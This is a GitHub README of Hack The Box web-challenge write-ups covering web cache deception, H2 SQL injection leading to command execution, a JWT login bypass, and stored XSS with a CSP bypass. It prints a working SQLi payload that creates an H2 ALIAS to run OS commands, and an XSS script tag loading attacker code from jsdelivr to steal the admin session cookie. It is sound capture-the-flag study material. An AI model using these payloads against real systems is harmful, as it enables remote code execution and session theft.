Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings
NotificationsYou must be signed in to change notification settings

cranix-ed/Writeup_HTBWebChallenge

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

19 Commits
 
 

Repository files navigation

Write-up Web Challenge Hack The Box

Table of Content

CDNio

Pentest Notes

Insomnia

🚩 CDNio

Overview of the site have features:

  • register a new account with username, password, email
  • search user profile

image

image

We can see this web have api/register and/profileimage

Let's see source code

Noteworthy is this config fileimage

location ~* \.(css|js|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$a regex allow all url have static extension

  proxy_cache cache;  proxy_cache_valid 200 3m;  ...  add_header Cache-Control "public";

and cache them in 3m for anyone read public. We can think ofweb cache deception vulnerability

I have to test my hypothesis, api/profile have profile of user and admin. I will request to serverGET /profile/test.css, if response returned is 200, it means the information has been cached

image

If admin access/profile/test.css, profile admin also cache. But how to make admin access?In folder bot have aroute.py defined an api/visit request to url, line 20 will callbot_thread() method definedutils/bot.py

image

bot.py will request to admin profile in server

image

So, i send request uriprofile/test.css via api/visit, uri will send tobot.py and get profile admin

image

Response 200 mean profile admin has been leak

image

Get request toprofile/test.css and done, receive flag

image

🚩 Pentest Notes

Overview site, some feature:

  • register, login

imageimage

  • list pentest, notes

imageimage

In page Note detail, we can see a parametername

image

Audit source, inNotesController.java paramname insert to query

image

This is SQL Injection vulnerability, we can insert query to leak data in database.

Test the above hypothesis

image

So, this web have SQL Injection, i will see schema of database to get data like table name, user. However, just NOTES table can access by query, and other tables can't get data

image

Like tableTABLE_PRIVILEGES i select to column in table but response 500.File pom.xml in source code, a dependency is h2.database, that mean this challenge use H2 database. I tried searchvulnerability about H2 DB. This vulnerability about feature of database, build a ALIAS with java code to run shell in server. So, we can run java code via feature ALIAS of H2 database

I'm tried this payload, and we can pass parameter OS Command to RCE

SQLInjection' OR 1=0; CREATE ALIAS RCE AS 'Stringexecve(Stringcmd)throwsjava.io.IOException {Processprocess =Runtime.getRuntime().exec(cmd);java.io.InputStreaminputStream =process.getInputStream();java.io.FileOutputStreamfileOutputStream =newjava.io.FileOutputStream("/app/target/classes/static/hola.html");byte[]buffer =newbyte[1024];intbytesRead;while ((bytesRead =inputStream.read(buffer)) != -1) {fileOutputStream.write(buffer,0,bytesRead);        }fileOutputStream.close();inputStream.close();return"Output written to /app/target/classes/static/hola.html";    }'; -- -

image

And now, we can call ALIAS and pass OS Command

image

image

image

🚩 Insomnia

This challenge just have feature signup, signin and token jwt for authentication

imageimage

Let's audit source see if there is anything interesting

image

ProfileController.php in folderapp decode from token and getusername=administrator will return flag

image

However, fileentrypoint.sh, both JWT_SECRET and password has been defined random, which means it's almost impossible to fake admin token

InUserController.php file have functionlogin(), there is a piece of code that should notice

image

if (!count($json_data) ==2) {return$this->respond("Please provide username and password",404);      }

This patch filter data login of user inclusion username, password.count($json_data) return number of rows.

Supposecount($json_data)=2 => !2=0(false) and 0 alway difference 2. That mean above condition incorrect. So, input data always bypass this patch, it'sAuthentication Vulnerability.

$query =$db->table("users")->getWhere($json_data,1,0);

This line of code get data fromusers by $json_data condition. We can requestusername = administrator, it's will bypass filter and get data with condition username = administrator

image

Just login with username, token admin will return

image

🚩 Cursed Secret Party

We have a website submit infomation for party

image

in fileroute/index.js define 4 route

/ for render index

router.get('/',(req,res)=>{returnres.render('index.html');});

/api/submit will post your input to server and store in database, then bot will run

router.post('/api/submit',(req,res)=>{const{ halloween_name, email, costume_type, trick_or_treat}=req.body;if(halloween_name&&email&&costume_type&&trick_or_treat){returndb.party_request_add(halloween_name,email,costume_type,trick_or_treat).then(()=>{res.send(response('Your request will be reviewed by our team!'));bot.visit();}).catch(()=>res.send(response('Something Went Wrong!')));}returnres.status(401).send(response('Please fill out all the required fields!'));});

/admin checking the role is admin, then get all request party are info you did send and render toadmin.html

router.get('/admin',AuthMiddleware,(req,res)=>{if(req.user.user_role!=='admin'){returnres.status(401).send(response('Unautorized!'));}returndb.get_party_requests().then((data)=>{res.render('admin.html',{requests:data});});});

/admin/delete_all delete all request you send

router.get('/admin/delete_all',AuthMiddleware,(req,res)=>{if(req.user.user_role!=='admin'){returnres.status(401).send(response('Unautorized!'));}returndb.remove_requests().then(()=>res.send(response('All records are deleted!')));})

In file bot.js, it will start browser in local, create token cookie with flag contain there. Then access to/admin, this will show all request you send.

constvisit=async()=>{try{constbrowser=awaitpuppeteer.launch(browser_options);letcontext=awaitbrowser.createIncognitoBrowserContext();letpage=awaitcontext.newPage();lettoken=awaitJWTHelper.sign({username:'admin',user_role:'admin',flag:flag});awaitpage.setCookie({name:'session',value:token,domain:'127.0.0.1:1337'});awaitpage.goto('http://127.0.0.1:1337/admin',{waitUntil:'networkidle2',timeout:5000});awaitpage.goto('http://127.0.0.1:1337/admin/delete_all',{waitUntil:'networkidle2',timeout:5000});setTimeout(()=>{browser.close();},5000);}catch(e){console.log(e);}};

and admin.html will render your input. So, we can send script XSS to get cookie on feildhalloween_name, bot will accessadmin to render your payload attachment token with flag

{{ request.halloween_name | safe }}

But CSP had block src otherself andhttps://cdn.jsdelivr.net

"Content-Security-Policy",        "script-src 'self' https://cdn.jsdelivr.net ; style-src 'self' https://fonts.googleapis.com; img-src 'self'; font-src 'self' https://fonts.gstatic.com; child-src 'self'; frame-src 'self'; worker-src 'self'; frame-ancestors 'self'; form-action 'self'; base-uri 'self'; manifest-src 'self'"

Searching a little, i did find this blogbypass csp jsdelivrThis CDN allow access to any source, also you can host your repo to this, very easy.

Step by step:

  1. Create public repo with your payload xss
  2. Host your repo with patternhttps://cdn.jsdelivr.net/gh/<user>/<repo>@<commit>/<path/to/file>
  3. Send payload via fieldhalloween_name, ex:<script src="https://cdn.jsdelivr.net/gh/cranix-ed/paylaod@5b45c259f58f4a8d75defb7b63089178d41c2bb0/exploit.js"></script>
  4. Resolve token and get flag
imageimageimage

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

[8]ページ先頭

©2009-2025 Movatter.jp